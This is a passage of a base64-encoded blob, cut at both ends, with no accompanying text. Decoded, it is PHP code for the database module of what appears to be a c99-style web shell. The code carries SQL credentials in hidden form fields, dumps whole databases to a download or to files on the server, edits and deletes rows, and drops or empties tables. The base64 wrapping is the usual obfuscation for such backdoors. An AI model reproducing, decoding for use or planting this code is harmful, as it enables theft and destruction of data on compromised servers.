hbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48Yj5TUUwtRHVtcDo8L2I+PGJyPjxicj4iOwplY2hvICI8Yj5EQjo8L2I+IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIudXJsZW5jb2RlKCRzcWxfZGIpLiJcIj48YnI+PGJyPiI7CiR2ID0gam9pbiAoIjsiLCRkbXB0YmxzKTsKZWNobyAiPGI+T25seSB0YWJsZXMgKGV4cGxvZGUgXCI7XCIpIDo8L2I+IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJkbXB0YmxzXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIiBzaXplPVwiIi4oc3RybGVuKCR2KSs1KS4iXCI+PGJyPjxicj4iOwppZiAoJGR1bXBfZmlsZSkgeyR0bXAgPSAkZHVtcF9maWxlO30KZWxzZSB7JHRtcCA9IGh0bWxzcGVjaWFsY2hhcnMoIi4vZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCIpO30KZWNobyAiPGI+RmlsZTo8L2I+IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZHVtcF9maWxlXCIgdmFsdWU9XCIiLiR0bXAuIlwiIHNpemU9XCIiLihzdHJsZW4oJHRtcCkrc3RybGVuKCR0bXApICUgMzApLiJcIj48YnI+PGJyPiI7CmVjaG8gIjxiPkRvd25sb2FkOiA8L2I+IDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfZG93bmxvYWRcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj48YnI+IjsKZWNobyAiPGI+U2F2ZSB0byBmaWxlOiA8L2I+IDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfc2F2ZXRvZmlsZVwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+IjsKZWNobyAiPGJyPjxicj48aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiRHVtcFwiPiI7CmVjaG8gIjwvZm9ybT4iOwogIH0KICBlbHNlIHsKJGRpcGxheSA9IFRSVUU7ICRzZXQgPSBhcnJheSgpOyAkc2V0WyJzb2NrIl0gPSAkc3FsX3NvY2s7ICRzZXRbImRiIl0gPSAkc3FsX2RiOyAkZHVtcF9vdXQgPSAiZG93bmxvYWQiOyAkc2V0WyJwcmludCJdID0gMDsKJHNldFsibmwyYnIiXSA9IDA7ICRzZXRbIiJdID0gMDsgJHNldFsiZmlsZSJdID0gJGR1bXBfZmlsZTsgJHNldFsiYWRkX2Ryb3AiXSA9IFRSVUU7ICRzZXRbIm9ubHl0YWJzIl0gPSBhcnJheSgpOwppZiAoIWVtcHR5KCRkbXB0YmxzKSkgeyRzZXRbIm9ubHl0YWJzIl0gPSBleHBsb2RlKCI7IiwkZG1wdGJscyk7fQokcmV0ID0gbXlzcWxfZHVtcCgkc2V0KTsKaWYgKCRzcWxfZHVtcF9kb3dubG9hZCkgewogIEBvYl9jbGVhbigpOwogIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsKICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkcmV0KSk7CiAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJHNxbF9kdW1wX2ZpbGUpLiJcIjsiKTsKICBlY2hvICRyZXQ7CiAgZXhpdDsKfQplbHNlaWYgKCRzcWxfZHVtcF9zYXZldG9maWxlKSB7CiAgJGZwID0gZm9wZW4oJHNxbF9kdW1wX2ZpbGUsInciKTsKICBpZiAoISRmcCkge2VjaG8gIjxiPkR1bXAgZXJyb3IhIENhbid0IHdyaXRlIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZHVtcF9maWxlKS4iXCIhIjt9CiAgZWxzZSB7CmZ3cml0ZSgkZnAsJHJldCk7CmZjbG9zZSgkZnApOwplY2hvICI8Yj5EdW1wZWQhIER1bXAgaGFzIGJlZW4gd3JpdGVkIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKHJlYWxwYXRoKCRzcWxfZHVtcF9maWxlKSkuIlwiICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkc3FsX2R1bXBfZmlsZSkpLiIpPC9iPi4iOwogIH0KfQplbHNlIHtlY2hvICI8Yj5EdW1wOiBub3RoaW5nIHRvIGRvITwvYj4iO30KICB9Cn0KaWYgKCRkaXBsYXkpIHsKICBpZiAoIWVtcHR5KCRzcWxfdGJsKSkgewogIGlmIChlbXB0eSgkc3FsX3RibF94KSkgeyRzcWxfdGJsX3ggPSAiYnJvd3NlIjt9CiAgJGNvdW50ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCBDT1VOVCgqKSBGUk9NIGAiLiRzcWxfdGJsLiJgOyIpOwogICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkY291bnQpOwogIG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7CiAgJHRibF9zdHJ1Y3RfcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgRklFTERTIEZST00gYCIuJHNxbF90YmwuImA7Iik7CiR0Ymxfc3RydWN0X2ZpZWxkcyA9IGFycmF5KCk7CndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHRibF9zdHJ1Y3RfcmVzdWx0KSkgeyR0Ymxfc3RydWN0X2ZpZWxkc1tdID0gJHJvdzt9CiAgaWYgKEAkc3FsX2xzID4gQCRzcWxfbGUpIHsgJHNxbF9sZSA9ICRzcWxfbHMgKyAkcGVycGFnZTsgfQogIGlmIChlbXB0eSgkc3FsX3RibF9wYWdlKSkgeyAkc3FsX3RibF9wYWdlID0gMDsgfQogIGlmIChlbXB0eSgkc3FsX3RibF9scykpIHsgJHNxbF90YmxfbHMgPSAwOyB9CiAgaWYgKGVtcHR5KCRzcWxfdGJsX2xlKSkgeyAkc3FsX3RibF9sZSA9IDMwOyB9CiAgJHBlcnBhZ2UgPSAkc3FsX3RibF9sZSAtICRzcWxfdGJsX2xzOwogIGlmICghaXNfbnVtZXJpYygkcGVycGFnZSkpIHsgJHBlcnBhZ2UgPSAxMDsgfQogICRudW1wYWdlcyA9ICRjb3VudF9yb3dbMF0vJHBlcnBhZ2U7CiAgJGUgPSBleHBsb2RlKCIgIiwkc3FsX29yZGVyKTsKICBpZiAoY291bnQoJGUpID09IDIpIHsKaWYgKCRlWzBdID09ICJkIikgeyAkYXNjX2Rlc2MgPSAiREVTQyI7IH0KZWxzZSB7ICRhc2NfZGVzYyA9ICJBU0MiOyB9CiR2ID0gIk9SREVSIEJZIGAiLiRlWzFdLiJgICIuJGFzY19kZXNjLiIgIjsKICB9CiAgZWxzZSB7JHYgPSAiIjt9CiAgJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAgIi4kdi4iTElNSVQgIi4kc3FsX3RibF9scy4iICwgIi4kcGVycGFnZS4iIjsKICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOwogIGVjaG8gIjxjZW50ZXI+PGI+VGFibGUgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iICgiLm15c3FsX251bV9maWVsZHMoJHJlc3VsdCkuIiBjb2xzIGFuZCAiLiRjb3VudF9yb3dbMF0uIiByb3dzKTwvYj48L2NlbnRlcj4iOwogIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF94PXN0cnVjdHVyZVwiPls8Yj4gU3RydWN0dXJlIDwvYj5dPC9hPiAmbmJzcDsgIjsKICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF94PWJyb3dzZVwiPls8Yj4gQnJvd3NlIDwvYj5dPC9hPiAmbmJzcDsgIjsKICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3g9dGJsZHVtcCZ0aGlzdGJsPTFcIj5bPGI+IER1bXAgPC9iPl08L2E+ICZuYnNwOyAiOwogIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX3g9aW5zZXJ0XCI+WyZuYnNwOzxiPkluc2VydDwvYj4mbmJzcDtdPC9hPiAmbmJzcDsgIjsKICBpZiAoJHNxbF90YmxfeCA9PSAic3RydWN0dXJlIikgeyBlY2hvICI8Yj5VbmRlciBjb25zdHJ1Y3Rpb24hPC9iPiI7IH0KICBpZiAoJHNxbF90YmxfeCA9PSAiaW5zZXJ0IikgewppZiAoIWlzX2FycmF5KCRzcWxfdGJsX2luc2VydCkpIHskc3FsX3RibF9pbnNlcnQgPSBhcnJheSgpO30KaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcmFkaW8pKSB7IGVjaG8gIjxiPlVuZGVyIGNvbnN0cnVjdGlvbiE8L2I+IjsgfQplbHNlIHsKICBlY2hvICI8YnI+PGJyPjxiPkluc2VydGluZyByb3cgaW50byB0YWJsZTo8L2I+PGJyPiI7CiAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHsKJHNxbF9xdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJsLiJgIjsKJHNxbF9xdWVyeSAuPSAiIFdIRVJFIi4kc3FsX3RibF9pbnNlcnRfcTsKJHNxbF9xdWVyeSAuPSAiIExJTUlUIDE7IjsKJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnksJHNxbF9zb2NrKSBvciBwcmludCgiPGJyPjxicj4iLm15c3FsX3NtYXJ0ZXJyb3IoKSk7CiR2YWx1ZXMgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KTsKbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgfQogIGVsc2UgeyR2YWx1ZXMgPSBhcnJheSgpO30KICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PHRhYmxlIHdpZHRoPVwiMSVcIiBjbGFzcz0ndHViJz48dHI+PHRoPjxiPkZpZWxkPC9iPjwvdGg+PHRoPjxiPlR5cGU8L2I+PC90aD48dGg+PGI+RnVuY3Rpb248L2I+PC90aD48dGg+PGI+VmFsdWU8L2I+PC90aD48L3RyPiI7CiAgZm9yZWFjaCAoJHRibF9zdHJ1Y3RfZmllbGRzIGFzICRmaWVsZCkgewokbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsKaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkgeyR2ID0gIiI7fQplY2hvICI8dHI+PHRkPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIjwvYj48L3RkPjx0ZD4iLiRmaWVsZFsiVHlwZSJdLiI8L3RkPjx0ZD48c2VsZWN0IG5hbWU9XCJzcWxfdGJsX2luc2VydF9mdW5jdHNbIi5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iXVwiPjxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj48b3B0aW9uPlBBU1NXT1JEPC9vcHRpb24+PG9wdGlvbj5NRDU8L29wdGlvbj48b3B0aW9uPkVOQ1JZUFQ8L29wdGlvbj48b3B0aW9uPkFTQ0lJPC9vcHRpb24+PG9wdGlvbj5DSEFSPC9vcHRpb24+PG9wdGlvbj5SQU5EPC9vcHRpb24+PG9wdGlvbj5MQVNUX0lOU0VSVF9JRDwvb3B0aW9uPjxvcHRpb24+Q09VTlQ8L29wdGlvbj48b3B0aW9uPkFWRzwvb3B0aW9uPjxvcHRpb24+U1VNPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIlwiPi0tLS0tLS0tPC9vcHRpb24+PG9wdGlvbj5TT1VOREVYPC9vcHRpb24+PG9wdGlvbj5MQ0FTRTwvb3B0aW9uPjxvcHRpb24+VUNBU0U8L29wdGlvbj48b3B0aW9uPk5PVzwvb3B0aW9uPjxvcHRpb24+Q1VSREFURTwvb3B0aW9uPjxvcHRpb24+Q1VSVElNRTwvb3B0aW9uPjxvcHRpb24+RlJPTV9EQVlTPC9vcHRpb24+PG9wdGlvbj5GUk9NX1VOSVhUSU1FPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfQUREPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfRElGRjwvb3B0aW9uPjxvcHRpb24+VE9fREFZUzwvb3B0aW9uPjxvcHRpb24+VU5JWF9USU1FU1RBTVA8L29wdGlvbj48b3B0aW9uPlVTRVI8L29wdGlvbj48b3B0aW9uPldFRUtEQVk8L29wdGlvbj48b3B0aW9uPkNPTkNBVDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2luc2VydFsiLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlc1skbmFtZV0pLiJcIiBzaXplPTUwPjwvdGQ+PC90cj4iOwokaSsrOwogIH0KICBlY2hvICI8L3RhYmxlPjxicj4iOwogIGVjaG8gIjxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjFcIiI7IGlmIChlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PGI+SW5zZXJ0IGFzIG5ldyByb3c8L2I+IjsKICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBvciA8aW5wdXQgdHlwZT1cInJhZGlvXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3JhZGlvXCIgdmFsdWU9XCIyXCIgY2hlY2tlZD48Yj5TYXZlPC9iPiI7IGVjaG8gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3FcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibF9pbnNlcnRfcSkuIlwiPiI7fQogIGVjaG8gIjxicj48YnI+PGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT4iOwp9CiAgfQogIGlmICgkc3FsX3RibF94ID09ICJicm93c2UiKSB7CiRzcWxfdGJsX2xzID0gYWJzKCRzcWxfdGJsX2xzKTsKJHNxbF90YmxfbGUgPSBhYnMoJHNxbF90YmxfbGUpOwplY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7CmVjaG8gIjxiPlBhZ2U6IDwvYj4iOwokYiA9IDA7CmZvcigkaT0wOyRpPCRudW1wYWdlczskaSsrKSB7CiAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfb3JkZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiImc3FsX3RibF9scz0iLigkaSokcGVycGFnZSkuIiZzcWxfdGJsX2xlPSIuKCRpKiRwZXJwYWdlKyRwZXJwYWdlKS4iXCI+PHU+Ijt9CiAgZWNobyAkaTsKICBpZiAoKCRpKiRwZXJwYWdlICE9ICRzcWxfdGJsX2xzKSBvciAoJGkqJHBlcnBhZ2UrJHBlcnBhZ2UgIT0gJHNxbF90YmxfbGUpKSB7ZWNobyAiPC91PjwvYT4iO30KICBpZiAoKCRpLzMwID09IHJvdW5kKCRpLzMwKSkgYW5kICgkaSA+IDApKSB7ZWNobyAiPGJyPiI7fQogIGVsc2UgeyBlY2hvICIgIjsgfQp9CmlmICgkaSA9PSAwKSB7ZWNobyAiZW1wdHkiO30KZWNobyAiPGJyPjxicj48Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ4XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX29yZGVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikuIlwiPjxiPkZyb206PC9iPiA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9sc1wiIHZhbHVlPVwiIi4kc3FsX3RibF9scy4iXCI+IDxiPlRvOjwvYj4gPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfbGVcIiB2YWx1ZT1cIiIuJHNxbF90YmxfbGUuIlwiPiA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiVmlld1wiPjwvZm9ybT4iOwplY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPlxuIjsKZWNobyAiPHRhYmxlIGNsYXNzPSd0dWInPjx0cj4iOwplY2hvICI8dGg+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dfYWxsXCIgdmFsdWU9XCIxXCI+PC90aD4iOwpmb3IgKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKSB7CiAgJHYgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwogIGlmICgkZVswXSA9PSAiYSIpIHskcyA9ICJkIjsgJG0gPSAiYXNjIjt9CiAgZWxzZSB7JHMgPSAiYSI7ICRtID0gImRlc2MiO30KICBlY2hvICI8dGg+IjsKICBpZiAoZW1wdHkoJGVbMF0pKSB7JGVbMF0gPSAiYSI7fQogIGlmIChAJGVbMV0gIT0gJHYpIHtlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRlWzBdLiIlMjAiLiR2LiJcIj48Yj4iLiR2LiI8L2I+PC9hPiI7fQogIGVsc2Uge2VjaG8gIjxiPiIuJHYuIjwvYj48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRzLiIlMjAiLiR2LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zb3J0XyIuJG0uIlwiIGFsdD1cIiIuJG0uIlwiPjwvYT4iO30KICBlY2hvICI8L3RoPiI7Cn0KZWNobyAiPHRoPjxmb250IGNvbG9yPVwiIzAwRkYwMFwiPjxiPmFjdGlvbjwvYj48L2ZvbnQ+PC90aD4iOwplY2hvICI8L3RyPiI7CndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKSB7CiAgZWNobyAiPHRyPiI7CiAgJHcgPSAiIjsKICAkaSA9IDA7CiAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpIHsKJG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwokdyAuPSAiIGAiLiRuYW1lLiJgID0gJyIuYWRkc2xhc2hlcygkdikuIicgQU5EIjsgJGkrKzsKICB9CiAgaWYgKGNvdW50KCRyb3cpID4gMCkgeyAkdyA9IHN1YnN0cigkdywwLHN0cmxlbigkdyktMyk7IH0KICBlY2hvICI8dGQgYWxpZ249J2NlbnRlcicgc3R5bGU9J3BhZGRpbmc6MHB4Oyc+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dbXVwiIHZhbHVlPVwiIi4kdy4iXCI+PC90ZD4iOwogICRpID0gMDsKICBmb3JlYWNoICgkcm93IGFzICRrPT4kdikgewokdiA9IGh0bWxzcGVjaWFsY2hhcnMoJHYpOwppZiAoJHYgPT0gIiIpIHsgJHYgPSAiPGZvbnQgY29sb3I9XCIjMDBGRjAwXCI+TlVMTDwvZm9udD4iOyB9CmVjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7CiRpKys7CiAgfQogIGVjaG8gIjx0ZD4iOwogIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3g9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRFTEVURSBGUk9NIGAiLiRzcWxfdGJsLiJgIFdIRVJFIi4kdy4iIExJTUlUIDE7IikuIlwiPkRlbGV0ZTwvYT4iOwogIGVjaG8gIiZuYnNwO3wmbmJzcDsiOwogIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF94PWluc2VydCZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfaW5zZXJ0X3E9Ii51cmxlbmNvZGUoJHcpLiJcIj5FZGl0PC9hPiAiOwogIGVjaG8gIjwvdGQ+IjsKICBlY2hvICI8L3RyPiI7Cn0KbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CmVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cImxlZnRcIj48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIvPiA8c2VsZWN0IG5hbWU9XCJzcWxfeFwiPiI7CmVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPiI7CmVjaG8gIjxvcHRpb24gdmFsdWU9XCJkZWxldGVyb3dcIj5EZWxldGU8L29wdGlvbj4iOwplY2hvICI8L3NlbGVjdD4gPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT48L3A+IjsKfQogfQogZWxzZSB7CiRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRSBTVEFUVVMiLCAkc3FsX3NvY2spOwppZiAoISRyZXN1bHQpIHsgZWNobyBteXNxbF9zbWFydGVycm9yKCk7IH0KZWxzZSB7CmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0YWJsZSBjbGFzcz0idHViIj4KPHRyPjx0aD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImJveHRibF9hbGwiIHZhbHVlPSIxIj48L3RoPjx0aD5UYWJsZTwvdGg+PHRoPlJvd3M8L3RoPjx0aD5FbmdpbmU8L3RoPjx0aD5DcmVhdGVkPC90aD48dGg+TW9kaWZpZWQ8L3RoPjx0aD5TaXplPC90aD48dGg+QWN0aW9uPC90aD48L3RyPic7CiAkaSA9IDA7CiAkdHNpemUgPSAkdHJvd3MgPSAwOwogd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHsKJHRzaXplICs9ICRyb3dbIkRhdGFfbGVuZ3RoIl07CiR0cm93cyArPSAkcm93WyJSb3dzIl07CiRzaXplID0gdmlld19zaXplKCRyb3dbIkRhdGFfbGVuZ3RoIl0pOwplY2hvJzx0cj4KPHRkIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJwYWRkaW5nOjBweDsiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iYm94dGJsW10iIHZhbHVlPSInLiRyb3dbIk5hbWUiXS4nIj48L3RkPgo8dGQ+PGEgaHJlZj0iJy4kc3FsX3N1cmwuJ3NxbF90Ymw9Jy51cmxlbmNvZGUoJHJvd1siTmFtZSJdKS4nIj48Yj4nLiRyb3dbIk5hbWUiXS4nPC9iPjwvYT48L3RkPgo8dGQ+Jy4kcm93WyJSb3dzIl0uJzwvdGQ+PHRkPicuJHJvd1siRW5naW5lIl0uJzwvdGQ+PHRkPicuJHJvd1siQ3JlYXRlX3RpbWUiXS4nPC90ZD48dGQ+Jy4kcm93WyJVcGRhdGVfdGltZSJdLic8L3RkPjx0ZD4nLiRzaXplLic8L3RkPgo8dGQ+PGEgaHJlZj0iJy4kc3FsX3N1cmwuJ3NxbF94PXF1ZXJ5JnNxbF9xdWVyeT0nLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHJvd1siTmFtZSJdLiJgIikuJyI+RW1wdHk8L2E+Jm5ic3A7fCZuYnNwOzxhIGhyZWY9IicuJHNxbF9zdXJsLidzcWxfeD1xdWVyeSZzcWxfcXVlcnk9Jy51cmxlbmNvZGUoIkRST1AgVEFCTEUgYCIuJHJvd1siTmFtZSJdLiJgIikuJyI+RHJvcDwvYT4mbmJzcDt8Jm5ic3A7PGEgaHJlZj0iJy4kc3FsX3N1cmwuJ3NxbF90YmxfeD1pbnNlcnQmc3FsX3RibD0nLiRyb3dbIk5hbWUiXS4nIj5JbnNlcnQ8L2E+PC90ZD4KPC90cj4nOwokaSsrOwogfQogZWNobyAiXHRcdDx0cj5cbiIuCiJcdFx0PHRoPis8L3RoPjx0aD4kaSB0YWJsZShzKTwvdGg+PHRoPiR0cm93czwvdGg+PHRoPiRyb3dbMV08L3RoPjx0aD4kcm93WzEwXTwvdGg+PHRoPiRyb3dbMTFdPC90aD48dGg+Ii52aWV3X3NpemUoJHRzaXplKS4iPC90aD48dGg+PC90aD5cbiI7CmVjaG8nPC90cj4KPC90YWJsZT4KPGRpdiBhbGlnbj0icmlnaHQiPgo8c2VsZWN0IGNsYXNzPSJpbnB1dHoiIG5hbWU9InNxbF94Ij4KPG9wdGlvbiB2YWx1ZT0iIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJ0Ymxkcm9wIj5Ecm9wPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9InRibGVtcHR5Ij5FbXB0eTwvb3B0aW9uPiI7CjxvcHRpb24gdmFsdWU9InRibGR1bXAiPkR1bXA8L29wdGlvbj4iOwo8b3B0aW9uIHZhbHVlPSJ0YmxjaGVjayI+Q2hlY2sgdGFibGU8L29wdGlvbj4iOwo8b3B0aW9uIHZhbHVlPSJ0YmxvcHRpbWl6ZSI+T3